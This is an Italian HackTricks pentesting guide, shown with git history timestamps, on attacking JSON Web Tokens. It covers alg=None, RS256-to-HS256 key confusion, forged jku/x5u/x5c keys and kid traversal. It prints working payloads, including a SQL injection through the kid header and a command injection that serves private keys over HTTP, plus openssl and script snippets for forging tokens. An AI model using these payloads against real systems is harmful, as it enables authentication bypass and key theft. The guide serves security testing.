hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

277 lines
18 KiB
Markdown
Raw Normal View History

2024-02-10 13:03:23 +00:00
# Vulnerabilità JWT (Json Web Tokens)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:03:23 +00:00
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
Se sei interessato alla **carriera di hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in lingua polacca scritta e parlata_).
2022-04-30 20:31:18 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2024-02-10 13:03:23 +00:00
**Parte di questo post si basa sull'ottimo post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Autore dell'ottimo strumento per il pentesting di JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
2024-02-10 13:03:23 +00:00
### **Vittorie Veloci**
Esegui [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) con modalità `Tutti i Test!` e attendi le linee verdi
```bash
2022-07-22 12:41:11 +00:00
python3 jwt_tool.py -M at \
2024-02-10 13:03:23 +00:00
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
```
Se sei fortunato, lo strumento troverà alcuni casi in cui l'applicazione web non controlla correttamente il JWT:
![](<../.gitbook/assets/image (435).png>)
Successivamente, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta utilizzando lo strumento jwt_tool:
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
### Manipolare i dati senza modificare nulla
È possibile manipolare i dati lasciando la firma invariata e verificare se il server controlla la firma. Prova a cambiare il tuo nome utente in "admin", per esempio.
#### **Il token viene verificato?**
2024-02-10 13:03:23 +00:00
Per verificare se la firma di un JWT viene verificata:
2024-02-05 02:28:59 +00:00
* Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori verbosi dovrebbero essere esaminati.
* Una modifica nella pagina restituita indica la verifica.
* Nessuna modifica suggerisce nessuna verifica; è il momento di sperimentare con la manipolazione delle rivendicazioni del payload.
2024-02-05 02:28:59 +00:00
2024-02-10 13:03:23 +00:00
### Origine
2024-02-10 13:03:23 +00:00
È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.
* I token visti per la prima volta dal lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, richiedendo ulteriori indagini.
* I token che originano lato server indicano un processo sicuro.
2024-02-10 13:03:23 +00:00
### Durata
Verifica se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.
### Forzare il segreto HMAC con attacco di forza bruta
2024-02-10 13:03:23 +00:00
[**Vedi questa pagina.**](../generic-methodologies-and-resources/brute-force.md#jwt)
2024-02-10 13:03:23 +00:00
### Modificare l'algoritmo in None (CVE-2015-9235)
2024-02-10 13:03:23 +00:00
Imposta l'algoritmo utilizzato come "None" e rimuovi la parte della firma.
Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerabilità e per modificare valori diversi all'interno del JWT (invia la richiesta a Repeater e nella scheda "JSON Web Token" puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo "Alg" su "None").
2024-02-10 13:03:23 +00:00
### Cambiare l'algoritmo da RS256(asimmetrico) a HS256(simmetrico) (CVE-2016-5431/CVE-2016-10555)
L'algoritmo HS256 utilizza la chiave segreta per firmare e verificare ciascun messaggio.\
2024-02-10 13:03:23 +00:00
L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza la chiave pubblica per l'autenticazione.
Se si cambia l'algoritmo da RS256 a HS256, il codice back-end utilizza la chiave pubblica come chiave segreta e quindi utilizza l'algoritmo HS256 per verificare la firma.
Quindi, utilizzando la chiave pubblica e cambiando da RS256 a HS256, potremmo creare una firma valida. È possibile recuperare il certificato del server web eseguendo questo:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
2024-02-10 13:03:23 +00:00
### Nuova chiave pubblica all'interno dell'intestazione
Un attaccante incorpora una nuova chiave nell'intestazione del token e il server utilizza questa nuova chiave per verificare la firma (CVE-2018-0114).
2024-02-10 13:03:23 +00:00
Ciò può essere fatto con l'estensione Burp "JSON Web Tokens".\
(Inoltra la richiesta al Repeater, all'interno della scheda JSON Web Token seleziona "CVE-2018-0114" e invia la richiesta).
### Falsificazione di JWKS
Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che impiegano un claim di intestazione "jku". Questo claim dovrebbe collegarsi a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.
* **Valutazione dei Token con Intestazione "jku"**:
* Verificare l'URL del claim "jku" per assicurarsi che conduca al file JWKS appropriato.
* Modificare il valore "jku" del token per indirizzarlo verso un servizio web controllato, consentendo l'osservazione del traffico.
* **Monitoraggio dell'Interazione HTTP**:
* L'osservazione delle richieste HTTP al tuo URL specificato indica i tentativi del server di recuperare le chiavi dal link fornito.
* Quando si utilizza `jwt_tool` per questo processo, è fondamentale aggiornare il file `jwtconf.ini` con la posizione personale del tuo JWKS per facilitare il testing.
* **Comando per `jwt_tool`**:
* Esegui il seguente comando per simulare lo scenario con `jwt_tool`:
2024-02-10 13:03:23 +00:00
```bash
python3 jwt_tool.py JWT_QUI -X s
```
### Panoramica dei Problemi di Kid
Un claim di intestazione opzionale noto come `kid` è utilizzato per identificare una chiave specifica, il che diventa particolarmente vitale in ambienti in cui esistono più chiavi per la verifica della firma del token. Questo claim aiuta a selezionare la chiave appropriata per verificare la firma di un token.
#### Rivelazione della Chiave tramite "kid"
Quando il claim `kid` è presente nell'intestazione, è consigliabile cercare nella directory web il file corrispondente o le sue varianti. Ad esempio, se è specificato `"kid":"key/12345"`, i file _/key/12345_ e _/key/12345.pem_ dovrebbero essere cercati nella radice del web.
2024-02-05 02:28:59 +00:00
#### Traversamento del Percorso con "kid"
Il claim `kid` potrebbe anche essere sfruttato per navigare nel sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Richiesta di Server-Side Forgery (SSRF) modificando il valore `kid` per mirare a file o servizi specifici. Manipolare il JWT per cambiare il valore `kid` mantenendo la firma originale può essere realizzato utilizzando il flag `-T` in jwt\_tool, come dimostrato di seguito:
2020-12-03 10:09:49 +00:00
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
Attraverso il mirare file con contenuti prevedibili, è possibile falsificare un JWT valido. Ad esempio, il file `/proc/sys/kernel/randomize_va_space` nei sistemi Linux, noto per contenere il valore **2**, può essere utilizzato nel parametro `kid` con **2** come password simmetrica per la generazione del JWT.
2020-12-03 10:09:49 +00:00
#### Iniezione SQL tramite "kid"
Se il contenuto del claim `kid` viene utilizzato per recuperare una password da un database, un'iniezione SQL potrebbe essere facilitata modificando il payload `kid`. Un esempio di payload che utilizza l'iniezione SQL per alterare il processo di firma JWT include:
2024-02-05 02:28:59 +00:00
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Questa modifica forza l'uso di una chiave segreta conosciuta, `ATTACKER`, per la firma JWT.
#### Iniezione OS tramite "kid"
Uno scenario in cui il parametro `kid` specifica un percorso di file utilizzato all'interno di un contesto di esecuzione di comandi potrebbe portare a vulnerabilità di Esecuzione di Codice Remoto (RCE). Iniettando comandi nel parametro `kid`, è possibile esporre chiavi private. Un esempio di payload per ottenere RCE ed esposizione delle chiavi è:
2024-02-05 02:28:59 +00:00
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
2024-02-10 13:03:23 +00:00
### x5u e jku
2022-05-01 13:25:53 +00:00
#### jku
jku sta per **URL dell'insieme JWK**.\
Se il token utilizza un claim **Header** "**jku**", **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che contiene la Chiave Pubblica per verificare il token. Manipola il token per puntare il valore jku a un servizio web di cui puoi monitorare il traffico.
2024-02-10 13:03:23 +00:00
Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Quindi puoi utilizzare ad esempio [**jwt.io**](https://jwt.io) per creare il nuovo JWT con le **chiavi pubbliche e private create e puntando il parametro jku al certificato creato.** Per creare un certificato jku valido, puoi scaricare quello originale e modificare i parametri necessari.
2024-02-10 13:03:23 +00:00
Puoi ottenere i parametri "e" e "n" da un certificato pubblico utilizzando:
```bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
```
2022-05-01 13:25:53 +00:00
#### x5u
X.509 URL. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato certificato) codificati in forma PEM. Il primo certificato nell'insieme deve essere quello utilizzato per firmare questo JWT. I certificati successivi firmano ciascuno quello precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. È richiesta la sicurezza del trasporto per trasferire i certificati.
Prova a **cambiare questo header con un URL sotto il tuo controllo** e controlla se viene ricevuta qualche richiesta. In tal caso, **potresti alterare il JWT**.
Per falsificare un nuovo token utilizzando un certificato controllato da te, è necessario creare il certificato ed estrarre le chiavi pubbliche e private:
```bash
2021-03-10 17:23:17 +00:00
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
2024-02-10 13:03:23 +00:00
Quindi puoi utilizzare ad esempio [**jwt.io**](https://jwt.io) per creare il nuovo JWT con le **chiavi pubbliche e private create e puntando il parametro x5u al certificato .crt creato**.
![](<../.gitbook/assets/image (439).png>)
2024-02-10 13:03:23 +00:00
Puoi anche sfruttare entrambe queste vulnerabilità **per gli SSRF**.
2022-05-01 13:25:53 +00:00
#### x5c
Questo parametro potrebbe contenere il **certificato in base64**:
![](<../.gitbook/assets/image (440).png>)
Se l'attaccante **genera un certificato autofirmato** e crea un token contraffatto utilizzando la chiave privata corrispondente e sostituisce il valore del parametro "x5c" con il certificato appena generato e modifica gli altri parametri, ovvero n, e e x5t, allora essenzialmente il token contraffatto verrebbe accettato dal server.
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
2024-02-10 13:03:23 +00:00
### Chiave pubblica incorporata (CVE-2018-0114)
Se il JWT ha incorporato una chiave pubblica come nello scenario seguente:
![](<../.gitbook/assets/image (438).png>)
2024-02-10 13:03:23 +00:00
Utilizzando lo script nodejs seguente è possibile generare una chiave pubblica da quei dati:
2021-03-10 12:26:57 +00:00
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
È possibile generare una nuova chiave privata/pubblica, incorporare la nuova chiave pubblica all'interno del token e usarla per generare una nuova firma:
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
```
Puoi ottenere il "n" e "e" utilizzando questo script nodejs:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
### ES256: Rivelazione della chiave privata con lo stesso nonce
Se alcune applicazioni utilizzano ES256 e lo stesso nonce per generare due JWT, la chiave privata può essere ripristinata.
Ecco un esempio: [ECDSA: Rivelazione della chiave privata, se viene utilizzato lo stesso nonce (con SECP256k1)](https://asecuritysite.com/encryption/ecd5)
2022-05-01 13:25:53 +00:00
### JTI (JWT ID)
Il claim JTI (JWT ID) fornisce un identificatore univoco per un token JWT. Può essere utilizzato per evitare il replay del token.\
Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). La richiesta 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend sta incrementando l'ID ad ogni richiesta, potresti abusarne per **replay di una richiesta** (necessario inviare 10000 richieste tra ogni replay riuscito).
### Claim registrati JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
2024-02-10 13:03:23 +00:00
### Altri attacchi
2024-02-05 02:28:59 +00:00
**Attacchi di Relay tra servizi**
2024-02-05 02:28:59 +00:00
È stato osservato che alcune applicazioni web si affidano a un servizio JWT di fiducia per la generazione e la gestione dei loro token. Sono stati registrati casi in cui un token, generato per un cliente dal servizio JWT, è stato accettato da un altro cliente dello stesso servizio JWT. Se viene osservata l'emissione o il rinnovo di un JWT tramite un servizio di terze parti, dovrebbe essere indagata la possibilità di iscriversi a un account su un altro cliente di quel servizio utilizzando lo stesso username/email. Dovrebbe quindi essere tentato di riprodurre il token ottenuto in una richiesta al target per vedere se viene accettato.
2024-02-05 02:28:59 +00:00
* L'accettazione del tuo token potrebbe indicare un problema critico, consentendo potenzialmente il falsificare l'account di qualsiasi utente. Tuttavia, va notato che potrebbe essere necessaria l'autorizzazione per test più ampi se ci si iscrive a un'applicazione di terze parti, poiché potrebbe entrare in una zona grigia legale.
2024-02-05 02:28:59 +00:00
**Controllo della scadenza dei token**
2024-02-05 02:28:59 +00:00
La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT sono spesso utilizzati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. Il RFC JWT raccomanda di mitigare gli attacchi di replay JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, è cruciale che l'applicazione implementi controlli pertinenti per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, è consigliabile memorizzare il token e riprodurlo dopo che il tempo di scadenza è trascorso. Il contenuto del token, inclusa l'analisi del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto utilizzando il flag -R di jwt_tool.
2024-02-05 02:28:59 +00:00
* Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché potrebbe implicare che il token non potrebbe mai scadere.
2024-02-05 02:28:59 +00:00
2024-02-10 13:03:23 +00:00
### Strumenti
{% embed url="https://github.com/ticarpi/jwt_tool" %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se sei interessato a una **carriera nel hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>